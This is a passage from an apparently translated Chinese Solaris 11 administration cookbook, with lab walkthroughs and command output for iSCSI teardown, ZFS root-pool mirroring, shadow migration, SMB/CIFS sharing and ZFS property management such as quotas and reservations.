root@solaris11-2:~# iscsiadm list initiator-node
Initiator node name: iqn.1986-03.com.sun:01:e00000000000.5250ac8e
Initiator node alias: solaris11
        Login Parameters (Default/Configured):
                Header Digest: NONE/-
                Data Digest: NONE/-
                Max Connections: 65535/-
        Authentication Type: NONE
        RADIUS Server: NONE
        RADIUS Access: disabled
        Tunable Parameters (Default/Configured):
                Session Login Response Time: 60/-
                Maximum Connection Retry Time: 180/-
                Login Retry Time Interval: 60/-
        Configured Sessions: 1

通过更新设备树(devfsadmformat命令),我们可以看到 iSCSI 磁盘已经消失:

root@solaris11-2:~# devfsadm
root@solaris11-2:~# format
Searching for disks...done

AVAILABLE DISK SELECTIONS:
       0\. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB>
          /pci@0,0/pci1000,8000@14/sd@0,0

(truncated output)

现在,必须在目标(solaris11-2)上进行取消配置的操作。首先,列出现有的 LUN:

root@solaris11-1:~# stmfadm list-lu
LU Name: 600144F0991C8E00000052ADD63B0001

删除现有的 LUN:

root@solaris11-1:~# stmfadm delete-lu 600144F0991C8E00000052ADD63B0001

列出当前配置的目标:

root@solaris11-1:~# itadm list-target -v
TARGET NAME                                                  STATE    SESSIONS 
iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d  online   0        
  alias:                -
  auth:                 chap 
  targetchapuser:       -
  targetchapsecret:     set
  tpg-tags:             default

删除现有的目标:

root@solaris11-1:~# itadm delete-target -f iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d
root@solaris11-1:~# itadm list-target –v

销毁包含 iSCSI 磁盘的池:

root@solaris11-1:~# zpool destroy mypool_iscsi

最终,我们做到了。现在没有 iSCSI 配置了。

几个月前,我写了一篇教程,解释了如何配置一个免费的 VTL 软件,它模拟了一个磁带机器人,在文档的末尾,我解释了如何通过 iSCSI 协议从 Oracle Solaris 11 连接到这个 VTL。从实际案例中了解如何使用 iSCSI 发起器访问外部应用程序是非常有趣的。请参考本章末尾的参考资料,了解更多关于这个 VTL 文档的内容。

该过程概述

在本节中,你了解了使用 COMSTAR 进行的所有 iSCSI 配置,无论是否使用 CHAP 身份验证。此外,还提供了撤销配置步骤。

镜像根池

目前,运行非常关键应用程序的系统没有可用的镜像启动磁盘是不可想象的。然而,在使用 ZFS 时,启动磁盘的镜像过程非常顺利,只需要几个步骤即可完成。

准备工作

为了跟随这个过程,你需要一台运行 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),并且该虚拟机需要 4 GB 的 RAM 和一个与现有启动磁盘大小相同的磁盘。这个例子使用的是一个 80 GB 的磁盘。

如何操作…

在考虑启动磁盘镜像之前,首先需要检查的是rpool的健康状况:

root@solaris11-1:~# zpool status rpool
  pool: rpool
 state: ONLINE
  scan: none requested
config:

  NAME      STATE     READ WRITE CKSUM
  rpool     ONLINE       0     0     0
    c8t0d0  ONLINE       0     0     0

根据这个输出,rpool是健康的,所以下一步是选择一个与原始rpool磁盘大小相等或更大的磁盘。然后,我们需要调用format工具,并准备好接收来自原始磁盘的数据,如下所示:

root@solaris11-1:~# format
Searching for disks...done

AVAILABLE DISK SELECTIONS:
       0\. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB>
          /pci@0,0/pci1000,8000@14/sd@0,0
       1\. c8t1d0 <VBOX-HARDDISK-1.0-16.00GB>
          /pci@0,0/pci1000,8000@14/sd@1,0
       2\. c8t2d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@2,0
       3\. c8t3d0 <VBOX-HARDDISK-1.0 cyl 10441 alt 2 hd 255 sec 63>
          /pci@0,0/pci1000,8000@14/sd@3,0
…..(truncated)

Specify disk (enter its number): 3
selecting c8t3d0
[disk formatted]
No Solaris fdisk partition found.

format> fdisk
No fdisk table exists. The default partition for the disk is:

  a 100% "SOLARIS System" partition

Type "y" to accept the default partition,  otherwise type "n" to edit the
 partition table.
y
format> p
partition> p

Current partition table (default):
Total disk cylinders available: 10440 + 2 (reserved cylinders)

Part      Tag   Flag    Cylinders    Size            Blocks
  0 unassigned   wm     0            0         (0/0/0)             0
  1 unassigned   wm     0            0         (0/0/0)             0
  2     backup   wu     0 - 10439   79.97GB    (10440/0/0) 167718600

(truncated output)
partition> q

root@solaris11-1:~#

一旦我们选择了要镜像的磁盘,第二个磁盘必须连接到现有的根池(rpool)中,以镜像启动和系统文件。记住,镜像过程将包括rpool磁盘下所有的文件系统快照。镜像过程是通过运行以下命令启动的:

root@solaris11-1:~# zpool attach rpool c8t0d0 c8t3d0

注意

确保在重启之前等待数据恢复完成。

要执行镜像过程,请执行以下命令:

root@solaris11-1:~# zpool status rpool
  pool: rpool
 state: DEGRADED
status: One or more devices is currently being resilvered.  The pool will
  continue to function in a degraded state.
action: Wait for the resilver to complete.
  Run 'zpool status -v' to see device specific details.
  scan: resilver in progress since Tue Dec 10 02:32:22 2013
    4.19M scanned out of 38.2G at 82.0K/s, 30h42m to go
    4.15M resilvered, 0.02% done
config:

  NAME        STATE     READ WRITE CKSUM
  rpool       DEGRADED     0     0     0
    mirror-0  DEGRADED     0     0     0
      c8t0d0  ONLINE       0     0     0
      c8t3d0  DEGRADED     0     0     0  (resilvering)

errors: No known data errors

为了避免多次执行之前的命令,创建一个脚本如下会更简单:

root@solaris11-1:~# while true
> do
> zpool status | grep done
> sleep 2
> done
    2.15G resilvered, 5.54% done
    2.19G resilvered, 5.70% done

…………
(truncated output)
………..
    38.1G resilvered, 99.95% done
    38.2G resilvered, 100.00% done

最后,rpool池被完全镜像,如下所示:

root@solaris11-1:~# zpool status rpool
  pool: rpool
 state: ONLINE
  scan: resilvered 38.2G in 1h59m with 0 errors on Mon Dec 16 08:37:11 2013
config:

  NAME        STATE     READ WRITE CKSUM
  rpool       ONLINE       0     0     0
    mirror-0  ONLINE       0     0     0
      c8t0d0  ONLINE       0     0     0
      c8t3d0  ONLINE       0     0     0

该过程概述

在将第二个磁盘(镜像磁盘)添加到rpool池并完成整个镜像过程后,系统可以通过备用磁盘启动(通过 BIOS,我们可以从镜像磁盘初始化系统)。例如,这个例子是在 VirtualBox 中完成的,因此可以使用F12键选择备用磁盘。

ZFS 影像

大多数公司都有非常异构的环境,其中一些机器较旧,另一些机器较新。通常,需要将数据从旧机器复制到运行 Oracle Solaris 11 的新机器上,这时使用一个名为影像迁移的优秀功能非常合适。这个功能可以通过 NFS 或本地方式(两台机器之间)复制(迁移)数据,作为源文件系统的可用类型有 UFS、VxFS(来自 Symantec)以及令人赞叹的 ZFS。

这个功能的一个附加且非常有吸引力的特点是,客户端应用程序无需等待数据迁移到目标完成,即可访问已迁移的数据。如果在访问过程中,所需的数据尚未复制到新机器(目标机器),则 ZFS 会回退到源(原始数据)进行访问。

准备工作

这个过程需要两台虚拟机(solaris11-1solaris11-2),每台安装 Oracle Solaris 11 且内存为 4GB。此外,示例将展示如何将数据从solaris11-2系统(源系统)中现有的文件系统(/shadowing_pool/origin_filesystem)迁移到solaris11-1系统(目标或目的地)。

如何操作…

请记住,源机器是solaris11-2系统(数据将从此处迁移),solaris11-1系统是目标机器或目的地。因此,处理影像的第一步是通过执行以下命令,在目标机器上安装shadow-migration包,该目标机器将接收迁移的数据:

root@solaris11-1:~# pkg install shadow-migration

安装包后,建议通过执行以下命令检查影像服务是否已启用:

root@solaris11-1:~# svcs -a | grep shadow
disabled       18:35:00 svc:/system/filesystem/shadowd:default

由于影像服务未启用,请运行以下命令启用它:

root@solaris11-1:~# svcadm enable
svc:/system/filesystem/shadowd:default

在第二台机器(solaris11-2,源主机)上,待迁移的文件系统必须以只读模式通过 NFS 共享。为什么必须是只读?因为在迁移过程中,内容不能发生变化。

让我们设置一个用于迁移的测试 ZFS 文件系统,并将其设为只读:

root@solaris11-2:~# zpool create shadowing_pool c8t3d0
root@solaris11-2:~# zfs create shadowing_pool/origin_filesystem
root@solaris11-2:~# zfs list -r shadowing_pool
NAME                              USED  AVAIL  REFER  MOUNTPOINT
shadowing_pool                    124K  3.91G    32K  /shadowing_pool
shadowing_pool/origin_filesystem   31K  3.91G    31K  /shadowing_pool/origin_filesystem

以下命令将一些数据(读者可以复制任何数据)从solaris11-2shadowing_pool/origin_filesystem文件系统复制,以模拟一个实际的迁移案例:

root@solaris11-2:~# cp -r * /shadowing_pool/origin_filesystem/

使用 NFS 服务通过执行以下命令将源文件系统共享为只读数据(-o ro):

root@solaris11-2:~# share -F nfs -o ro /shadowing_pool/origin_filesystem 
root@solaris11-2:~# share
shadowing_pool_origin_filesystem  /shadowing_pool/origin_filesystem  nfs  sec=sys,ro

在第一台机器(solaris11-1)上,即数据将迁移到的目标系统,检查 NFS 共享是否正常并可访问,通过运行以下命令:

root@solaris11-1:~# dfshares solaris11-2
RESOURCE                                   SERVER ACCESS    TRANSPORT
solaris11-2:/shadowing_pool/origin_filesystem  solaris11-2  -

系统一切就绪。影像过程准备从第二台系统(solaris11-2)开始到第一台系统(solaris11-1)。该过程将通过执行以下命令创建shadowed_pool/shad_filesystem文件系统:

root@solaris11-1:~# zpool create shadowed_pool c8t3d0
root@solaris11-1:~# zfs create -o shadow=nfs://solaris11-2/shadowing_pool/origin_filesystem shadowed_pool/shad_filesystem

可以通过运行shadowstat命令来跟踪影像过程:

root@solaris11-1:~/Desktop# shadowstat
                               EST
                        BYTES  BYTES    ELAPSED
DATASET                        XFRD    LEFT  ERRORS  TIME
shadowed_pool/shad_filesystem   -       -     -      00:00:13
shadowed_pool/shad_filesystem   -       -     -      00:00:23
shadowed_pool/shad_filesystem   -       -     -      00:00:33
shadowed_pool/shad_filesystem   -       -     -      00:00:43
shadowed_pool/shad_filesystem   -       -     -      00:00:53
shadowed_pool/shad_filesystem   -       -     -      00:01:03
(truncated output)
shadowed_pool/shad_filesystem   -       -     -      00:07:33
shadowed_pool/shad_filesystem   -       -     -      00:07:43
shadowed_pool/shad_filesystem   -       -     -      00:07:53
shadowed_pool/shad_filesystem   1.57G   -     -      00:08:03
No migrations in progress

完成的影像任务通过执行以下命令进行验证:

root@solaris11-1:~/Desktop# zfs list -r shadowed_pool 
NAME                            USED  AVAIL  REFER  MOUNTPOINT
shadowed_pool                  1.58G  2.33G    32K  /shadowed_pool
shadowed_pool/shad_filesystem  1.58G  2.33G  1.58G  /shadowed_pool/shad_filesystem
root@solaris11-1:~/Desktop# zfs get -r shadow shadowed_pool/shad_filesystem
NAME                           PROPERTY  VALUE  SOURCE
shadowed_pool/shad_filesystem  shadow    none   -

影像过程成功完成!此外,同样的操作也可以通过两个本地 ZFS 文件系统来完成(之前的过程是通过 NFS 在solaris11-2solaris11-1系统之间完成的)。因此,整个方案可以重复执行,向源文件系统复制一些文件(可以是我们需要的任何数据),并通过运行以下命令启动影像活动:

root@solaris11-1:~# zfs create rpool/shad_source
root@solaris11-1:~# cp /root/kali-linux-1.0.5-amd64.iso /root/john* /root/mh* /rpool/shad_source/
root@solaris11-1:~# zfs set readonly=on rpool/shad_source
root@solaris11-1:~# zfs create -o shadow=file:///rpool/shad_source rpool/shad_target
root@solaris11-1:~# shadowstat
                              EST
        BYTES                 BYTES       ELAPSED
DATASET                       XFRD  LEFT  ERRORS  TIME
rpool/shad_target               -      -      -  00:00:08
rpool/shad_target               -      -      -  00:00:18
rpool/shad_target               -      -      -  00:00:28
rpool/shad_target               -      -      -  00:00:38
rpool/shad_target               -      -      -  00:00:48
rpool/shad_target               -      -      -  00:00:58
rpool/shad_target               -      -      -  00:01:08
rpool/shad_target               -      -      -  00:01:18
rpool/shad_target               -      -      -  00:01:28
rpool/shad_target               -      -      -  00:01:38
rpool/shad_target               -      -      -  00:01:48
rpool/shad_target               -      -      -  00:01:58
rpool/shad_target               -      -      -  00:02:08
rpool/shad_target               -      -      -  00:02:18
rpool/shad_target               -      -      -  00:02:28
rpool/shad_target               1.58G  2.51G  -  00:02:38
rpool/shad_target               1.59G  150M   -  00:02:48
rpool/shad_target               1.59G  8E     -  00:02:58
No migrations in progress

一切都按照预期完美地工作了,但在这种情况下,我们使用了两个本地 ZFS 文件系统,而不是使用 NFS 服务。因此,通过执行以下命令,可以检查并完成已完成的过程:

root@solaris11-1:~# zfs get shadow rpool/shad_source
NAME               PROPERTY  VALUE  SOURCE
rpool/shad_source  shadow    none   -
root@solaris11-1:~# zfs set readonly=off rpool/shad_source

方案概述

影像迁移过程在两种情况下进行了说明——通过 NFS 使用远程文件系统和使用本地文件系统。在这两种情况下,都需要为源文件系统设置只读模式。此外,你还学会了如何使用shadowstat监控影像,甚至使用shadow属性。

使用 SMB 共享配置 ZFS

Oracle Solaris 11 引入了一项新功能,使系统能够通过服务器消息块SMB)和通用互联网文件系统CIFS)协议共享其文件系统,这两种协议在 Windows 环境中非常常见。在本节中,我们将配置两个文件系统,并使用 CIFS 访问它们。

准备工作

这个方案需要两台虚拟机(VMware 或 VirtualBox),每台虚拟机运行 Oracle Solaris 11,内存为 4GB,并且需要一些 4GB 的测试磁盘。此外,我们还需要一台运行 Windows(例如,Windows 7)的额外机器,用于测试 Oracle Solaris 11 提供的 CIFS 共享。

如何操作…

为了开始该方案,需要通过执行以下命令来安装 smb 服务:

root@solaris11-1:~# pkg install service/file-system/smb

通过执行以下命令,我们来创建一个池并在其中创建两个文件系统:

root@solaris11-1:~# zpool create cifs_pool c8t4d0
root@solaris11-1:~# zfs create cifs_pool/zfs_cifs_1
root@solaris11-1:~# zfs create cifs_pool/zfs_cifs_2
root@solaris11-1:~# zfs list -r cifs_pool
NAME                  USED  AVAIL  REFER  MOUNTPOINT
cifs_pool             162K  3.91G    33K  /cifs_pool
cifs_pool/zfs_cifs_1   31K  3.91G    31K  /cifs_pool/zfs_cifs_1
cifs_pool/zfs_cifs_2   31K  3.91G    31K  /cifs_pool/zfs_cifs_2

另一个重要的配置是为每个文件系统设置强制锁定(nbmand属性),这将通过 CIFS 提供,因为 Unix 通常使用建议锁定,而 SMB 使用强制锁定。关于这些锁的快速解释是,建议锁定不会阻止非合作客户端(或进程)对共享文件进行读写访问。另一方面,强制锁定会阻止任何非合作客户端(或进程)对共享文件进行读写访问。

我们可以通过运行以下命令来完成这项任务:

root@solaris11-1:~# zfs set nbmand=on cifs_pool/zfs_cifs_1
root@solaris11-1:~# zfs set nbmand=on cifs_pool/zfs_cifs_2

我们的初始设置已经完成。接下来的步骤是通过 SMB 协议共享cifs_pool/zfs_cifs_1cifs_pool/zfs_cifs_2文件系统,并配置共享名称(name)、协议(prot)和路径(file system path)。此外,还配置了缓存客户端(csc),以便在文件系统被过度使用时平滑性能:

root@solaris11-1:~# zfs set share=name=zfs_cifs_1,path=/cifs_pool/zfs_cifs_1,prot=smb,csc=auto cifs_pool/zfs_cifs_1
name=zfs_cifs_1,path=/cifs_pool/zfs_cifs_1,prot=smb,csc=auto
root@solaris11-1:~# zfs set share=name=zfs_cifs_2,path=/cifs_pool/zfs_cifs_2,prot=smb,csc=auto cifs_pool/zfs_cifs_2
name=zfs_cifs_2,path=/cifs_pool/zfs_cifs_2,prot=smb,csc=auto

最后,为了启用每个文件系统的 SMB 共享功能,我们必须将sharesmb属性设置为on

root@solaris11-1:~# zfs set sharesmb=on cifs_pool/zfs_cifs_1
root@solaris11-1:~# zfs set sharesmb=on cifs_pool/zfs_cifs_2
root@solaris11-1:~# zfs get sharesmb  cifs_pool/zfs_cifs_1
NAME                  PROPERTY   VALUE  SOURCE
cifs_pool/zfs_cifs_1  share.smb  on     local
root@solaris11-1:~# zfs get sharesmb  cifs_pool/zfs_cifs_2
NAME                  PROPERTY   VALUE  SOURCE
cifs_pool/zfs_cifs_2  share.smb  on     local

SMB 服务器服务默认未启用。顺便提一下,服务管理设施SMF)尚未引入,但 svcs –a 命令可以列出所有已安装的服务,并显示哪些服务是在线、离线或禁用的。由于我们只关心 smb/server 服务,可以使用 grep 命令过滤出目标服务,执行以下命令:

root@solaris11-1:~# svcs -a | grep smb/server
disabled          7:13:51 svc:/network/smb/server:default

smb/server 服务默认是禁用的,要启用它,需要执行以下命令:

root@solaris11-1:~# svcadm enable -r smb/server
root@solaris11-1:~# svcs -a | grep smb       
online          7:12:50 svc:/network/smb:default
online          7:13:47 svc:/network/smb/client:default
online          7:13:51 svc:/network/smb/server:default

适当的测试方法是通过获取 share 文件系统属性的值,或者通过执行如下 share 命令来列出 SMB 服务器提供的共享:

root@solaris11-1:~# zfs get share
NAME                                        PROPERTY  VALUE  SOURCE
cifs_pool/zfs_cifs_1                        share     name=zfs_cifs_1,path=/cifs_pool/zfs_cifs_1,prot=smb,csc=auto  local
cifs_pool/zfs_cifs_2                        share     name=zfs_cifs_2,path=/cifs_pool/zfs_cifs_2,prot=smb,csc=auto  local

root@solaris11-1:~# share
IPC$    smb  -  Remote IPC
c$  /var/smb/cvol  smb  -  Default Share
zfs_cifs_1  /cifs_pool/zfs_cifs_1  smb  csc=auto
zfs_cifs_2  /cifs_pool/zfs_cifs_2  smb  csc=auto
root@solaris11-1:~#

为了进行实际测试并访问 SMB 共享,接下来让我们创建一个名为 aborges 的常规用户,并通过运行以下命令为其分配密码:

root@solaris11-1:~# useradd aborges  
root@solaris11-1:~# passwd aborges
New Password: 
Re-enter new Password: 
passwd: password successfully changed for aborges

用户 aborges 需要在 SMB 服务中启用,因此执行以下命令:

root@solaris11-1:~# smbadm enable-user aborges
aborges is enabled.
root@solaris11-1:~#

要确认用户 aborges 已创建并为 SMB 服务启用,请运行以下命令:

root@solaris11-1:~# smbadm lookup-user aborges
aborges: S-1-5-21-3351362105-248310137-3301682468-1104

根据先前的输出,已为用户 aborges 分配了 安全标识符SID)。下一步是通过执行以下命令,在认证方案中添加新的库(pam_smb_passwd.so.1)来启用 SMB 身份验证:

root@solaris11-1:~# vi /etc/pam.d/other 
……………………..
(truncated)
……………………….
password include  pam_authtok_common
password required  pam_authtok_store.so.1
password required  pam_smb_passwd.so.1  nowarn

到目前为止,最好的测试方法是通过运行以下命令,验证共享是否正被提供给另一台机器(solaris11-2):

root@solaris11-2:~# smbadm lookup-server //solaris11-1
Workgroup: WORKGROUP
Server: SOLARIS11-1
IP address: 192.168.1.119

要查看来自 solaris11-1 主机的共享,请运行以下命令:

root@solaris11-2:~# smbadm show-shares -u aborges solaris11-1
Enter password:
c$                  Default Share
IPC$                Remote IPC
zfs_cifs_1          
zfs_cifs_2          
4 shares (total=4, read=4)

要使用 solaris11-2 上的 SMB 服务从 solaris11-1 挂载第一个 ZFS 共享(zfs_cifs_1),请执行以下命令:

root@solaris11-2:~# mount -o user=aborges -F smbfs //solaris11-1/zfs_cifs_1 /mnt

挂载的文件系统是 SMB 文件系统(-F smbfs),通过执行以下命令可以轻松检查其内容:

root@solaris11-2:~# df -h /mnt
Filesystem             Size   Used  Available Capacity  Mounted on
//solaris11-1/zfs_cifs_1
                       3.9G    40K       3.9G     1%    /mnt
root@solaris11-2:~# ls -l /mnt
total 10
-rwxr-x---+  1 2147483649 2147483650     893 Dec 17 21:04 zfsslower.d
-rwxr-x---+  1 2147483649 2147483650     956 Dec 17 21:04 zfssnoop.d
-rwxr-x---+  1 2147483649 2147483650     466 Dec 17 21:04 zioprint.d
-rwxr-x---+  1 2147483649 2147483650    1255 Dec 17 21:04 ziosnoop.d
-rwxr-x---+  1 2147483649 2147483650     650 Dec 17 21:04 ziotype.d

SMB 在 Windows 环境中非常常见,接下来,我们可以通过从 Windows 机器(此处以 Windows 7 为例)访问网络共享,进入 开始 菜单并输入 \\192.168.1.119,正如下面的截图所示:

操作步骤…

从前面的截图可以看到,系统向我们提供了两个共享:zfs_cifs_1zfs_cifs_2。因此,我们可以通过双击其中一个并填写凭据,按照下图所示进行访问:

操作步骤…

如预期的那样,用户名和密码是必需的,遵循 Windows 系统强制的 [Workgroup][Domain]\[user] 语法。因此,在填写文本框后,zfs_cifs_1 文件系统 的内容如下面的截图所示:

操作步骤…

一切如我们预期的那样正常工作,如果我们需要撤销 solaris11-1 系统提供的 SMB 共享,只需执行以下命令即可:

root@solaris11-2:~# umount /mnt
root@solaris11-1:~# zfs set -c share=name=zfs_cifs_1 cifs_pool/zfs_cifs_1
share 'zfs_cifs_1' was removed.
root@solaris11-1:~# zfs set -c share=name=zfs_cifs_2 cifs_pool/zfs_cifs_2
share 'zfs_cifs_2' was removed.
root@solaris11-1:~# share
IPC$            smb     -       Remote IPC
c$      /var/smb/cvol   smb     -       Default Share
root@solaris11-1:~# zfs get share
root@solaris11-1:~#

配方概述

在本节中,Oracle Solaris 11 中的 CIFS 共享也通过一步步的过程进行了说明,展示了如何配置和访问 CIFS 共享。

设置和获取其他 ZFS 属性

管理 ZFS 属性是我们在使用 ZFS 文件系统时的一项重要技巧,这也是为什么理解继承概念非常重要的原因。

ZFS 属性通常有三种来源:local(属性值是本地设置的)、default(属性既未本地设置也未继承)和inherited(属性是从祖先继承的)。此外,还有两种其他可能的值:temporary(值不是持久的)和none(属性为只读,其值由 ZFS 生成)。基于这些关键概念,本节将展示不同且有趣的日常管理属性。

准备工作

该操作可以通过两台虚拟机(VirtualBox 或 VMware)完成,要求安装 Oracle Solaris 11,配置 4 GB 内存,并且至少有 8 个 4 GB 的磁盘。

如何操作…

作为简要回顾,数据集如池、文件系统、快照和克隆有多个属性,管理员可以列出、管理和配置这些属性。因此,以下命令将创建一个池并在此池下创建三个文件系统。此外,我们还将把一些数据(再次提醒——可以使用任何数据)复制到第一个文件系统中,如下所示:

root@solaris11-1:~# zpool create prop_pool c8t5d0
root@solaris11-1:~# zfs create prop_pool/zfs_1
root@solaris11-1:~# zfs create prop_pool/zfs_2
root@solaris11-1:~# zfs create prop_pool/zfs_3
root@solaris11-1:~# cp -r socat-2.0.0-b6.tar.gz dtbook_scripts* /prop_pool/zfs_1

要获取池和文件系统的所有属性,请执行以下命令:

root@solaris11-1:~# zpool get all prop_pool
NAME       PROPERTY       VALUE                 SOURCE
prop_pool  allocated      1.13M                 -
prop_pool  altroot        -                     default
prop_pool  autoexpand     off                   default
prop_pool  autoreplace    off                   default
prop_pool  bootfs         -                     default
prop_pool  cachefile      -                     default
prop_pool  capacity       0%                    -
prop_pool  dedupditto     0                     default
prop_pool  dedupratio     1.00x                 -
prop_pool  delegation     on                    default
prop_pool  failmode       wait                  default
prop_pool  free           3.97G                 -
prop_pool  guid           10747479388132741479  -
prop_pool  health         ONLINE                -
prop_pool  listshares     off                   default
prop_pool  listsnapshots  off                   default
prop_pool  readonly       off                   -
prop_pool  size           3.97G                 -
prop_pool  version        34                    default
root@solaris11-1:~# zfs get all prop_pool/zfs_1
NAME             PROPERTY              VALUE                  SOURCE
prop_pool/zfs_1  aclinherit            restricted             default
prop_pool/zfs_1  aclmode               discard                default
prop_pool/zfs_1  atime                 on                     default
prop_pool/zfs_1  available             3.91G   
(truncated output)

两个命令的语法相似,我们从prop_pool池和prop_pool/zfs_1文件系统中获取了所有属性。

ZFS 影像部分,我们提到了 NFS 主题,并且使用share命令共享了一些文件系统。然而,它们也可以通过 ZFS 属性共享,例如sharenfs,其默认值为off(当我们使用该值时,它不受 ZFS 管理,仍然使用/etc/dfs/dfstab)。让我们以sharenfs属性为例,来突出展示一些关于属性的基本概念。

如常,属性列表过长,通过执行以下命令仅获取单个属性的值会更快:

root@solaris11-1:~# zfs get sharenfs prop_pool
NAME       PROPERTY   VALUE  SOURCE
prop_pool  share.nfs  off    default
root@solaris11-1:~# zfs get sharenfs prop_pool/zfs_1
NAME             PROPERTY   VALUE  SOURCE
prop_pool/zfs_1  share.nfs  off    default

此外,可以通过运行以下命令递归地获取相同的属性:

root@solaris11-1:~# zfs get -r sharenfs prop_pool      
NAME             PROPERTY   VALUE  SOURCE
prop_pool        share.nfs  off    default
prop_pool/zfs_1  share.nfs  off    default
prop_pool/zfs_2  share.nfs  off    default
prop_pool/zfs_3  share.nfs  off    default 

从最后三个输出中,我们注意到sharenfs属性在池和文件系统中被禁用,这是 Oracle Solaris 11 设置的默认值。

sharenfs属性可以通过执行以下命令启用:

root@solaris11-1:~# zfs set sharenfs=on prop_pool/zfs_1
root@solaris11-1:~# zfs get -r sharenfs prop_pool/zfs_1
NAME              PROPERTY   VALUE  SOURCE
prop_pool/zfs_1   share.nfs  on     local
prop_pool/zfs_1%  share.nfs  on     inherited from prop_pool/zfs_1

由于sharenfs已为prop_pool/zfs_1设置为on,源值已更改为local,表明此值未继承,而是本地设置的。因此,请执行以下命令:

root@solaris11-1:~# zfs get -s local all prop_pool/zfs_1
NAME             PROPERTY     VALUE  SOURCE
prop_pool/zfs_1  share.*      ...    local
root@solaris11-1:~# zfs get -r sharenfs prop_pool
NAME              PROPERTY   VALUE  SOURCE
prop_pool         share.nfs  off    default
prop_pool/zfs_1   share.nfs  on     local
prop_pool/zfs_1%  share.nfs  on     inherited from prop_pool/zfs_1
prop_pool/zfs_2   share.nfs  off    default
prop_pool/zfs_3   share.nfs  off    default

NFS 共享可以通过运行以下命令进行确认:

root@solaris11-1:~# share
IPC$    smb  -  Remote IPC
c$  /var/smb/cvol  smb  -  Default Share
prop_pool_zfs_1  /prop_pool/zfs_1  nfs  sec=sys,rw

zfs_1下创建一个新的文件系统展示了一个有趣的特性。请执行以下命令:

root@solaris11-1:~# zfs create prop_pool/zfs_1/zfs_4
root@solaris11-1:~# zfs get -r sharenfs prop_pool
NAME                    PROPERTY   VALUE  SOURCE
prop_pool               share.nfs  off    default
prop_pool/zfs_1         share.nfs  on     local
prop_pool/zfs_1%        share.nfs  on     inherited from prop_pool/zfs_1
prop_pool/zfs_1/zfs_4   share.nfs  on     inherited from prop_pool/zfs_1
prop_pool/zfs_1/zfs_4%  share.nfs  on     inherited from prop_pool/zfs_1
prop_pool/zfs_2         share.nfs  off    default
prop_pool/zfs_3         share.nfs  off    default

新的 zfs_4 文件系统继承了 upper zfs_1 文件系统的 sharenfs 属性;现在执行以下命令列出所有继承的属性:

root@solaris11-1:~# zfs get -s inherited all prop_pool/zfs_1/zfs_4
NAME                   PROPERTY     VALUE  SOURCE
prop_pool/zfs_1/zfs_4  share.*      ...    inherited
root@solaris11-1:~# share
IPC$    smb  -  Remote IPC
c$  /var/smb/cvol  smb  -  Default Share
prop_pool_zfs_1  /prop_pool/zfs_1  nfs  sec=sys,rw
prop_pool_zfs_1_zfs_4  /prop_pool/zfs_1/zfs_4  nfs  sec=sys,rw

太棒了!新的 zfs_4 文件系统已经继承了 sharenfs 属性,并且可以在 share 输出命令中看到。

一个好问题是,文件系统是否能够填满池的所有空间?答案是,当然可以!现在,这就是 ZFS 有多个与磁盘空间相关属性的原因。其中第一个属性是 quota 属性,这是一个众所周知的属性,用于限制数据集(在此例中为文件系统)在池中能够占用的空间量。我们来看一个例子:

root@solaris11-1:~# zfs list -r prop_pool
NAME                    USED  AVAIL  REFER  MOUNTPOINT
prop_pool               399M  3.52G   391M  /prop_pool
prop_pool/zfs_1        8.09M  3.52G  8.06M  /prop_pool/zfs_1
prop_pool/zfs_1/zfs_4    31K  3.52G    31K  /prop_pool/zfs_1/zfs_4
prop_pool/zfs_2          31K  3.52G    31K  /prop_pool/zfs_2
prop_pool/zfs_3          31K  3.52G    31K  /prop_pool/zfs_3

所有文件系统都在争夺相同的空间(3.52G),其中一个可能会占用比其他文件系统更多的空间(或者占用所有的空闲空间),所以有可能出现文件系统“空间用尽”错误。一个解决方法是通过执行以下命令来限制文件系统能够占用的空间:

root@solaris11-1:~# zfs quota=1G prop_pool/zfs_3
root@solaris11-1:~# zfs list -r prop_pool      
NAME                    USED  AVAIL  REFER  MOUNTPOINT
prop_pool               399M  3.52G   391M  /prop_pool
prop_pool/zfs_1        8.09M  3.52G  8.06M  /prop_pool/zfs_1
prop_pool/zfs_1/zfs_4    31K  3.52G    31K  /prop_pool/zfs_1/zfs_4
prop_pool/zfs_2          31K  3.52G    31K  /prop_pool/zfs_2
prop_pool/zfs_3          31K  1024M    31K  /prop_pool/zfs_3

zfs_3 文件系统的空间被限制为 1 GB,不能超过这个阈值。然而,并没有额外的保证说明它有 1 GB 的空间可用。这一点很微妙——它不能超过 1 GB,但也没有保证即使是 1 GB 也足够填满。另一个重要的细节是——这个配额空间是由文件系统及其所有后代(如快照和克隆)共享的。最后,很显然,不能设置低于数据集当前已用空间的配额值。

解决这个明显问题的方法是 reservation 属性。使用 reservation 时,空间会为文件系统保留,其他任何东西都无法占用这部分空间。当然,不能预定超过配额或最大空闲空间的空间,同样的规则适用——保留空间是为文件系统及其后代设置的。

reservation 属性设置为某个值时,该值会从池的总可用空间中扣除,并且已用池空间增加相应的数值:

root@solaris11-1:~# zfs list -r prop_pool
NAME                    USED  AVAIL  REFER  MOUNTPOINT
prop_pool               399M  3.52G   391M  /prop_pool
prop_pool/zfs_1        8.09M  3.52G  8.06M  /prop_pool/zfs_1
prop_pool/zfs_1/zfs_4    31K  3.52G    31K  /prop_pool/zfs_1/zfs_4
prop_pool/zfs_2          31K  3.52G    31K  /prop_pool/zfs_2
prop_pool/zfs_3          31K  1024M    31K  /prop_pool/zfs_3

prop_pool 下的每个数据集都有其 reservation 属性:

root@solaris11-1:~# zfs get -r reservation prop_pool
NAME                    PROPERTY     VALUE  SOURCE
prop_pool               reservation  none   default
prop_pool/zfs_1         reservation  none   default
prop_pool/zfs_1%        reservation  -      -
prop_pool/zfs_1/zfs_4   reservation  none   default
prop_pool/zfs_1/zfs_4%  reservation  -      -
prop_pool/zfs_2         reservation  none   default
prop_pool/zfs_3         reservation  none   default

reservation 属性被配置为一个特定的值(例如,512 MB),因为该值会从池的可用空间中扣除,并被加入到已用空间中。现在,执行以下命令:

root@solaris11-1:~# zfs set reservation=512M prop_pool/zfs_3
root@solaris11-1:~# zfs list -r prop_pool
NAME                    USED  AVAIL  REFER  MOUNTPOINT
prop_pool               911M  3.02G   391M  /prop_pool
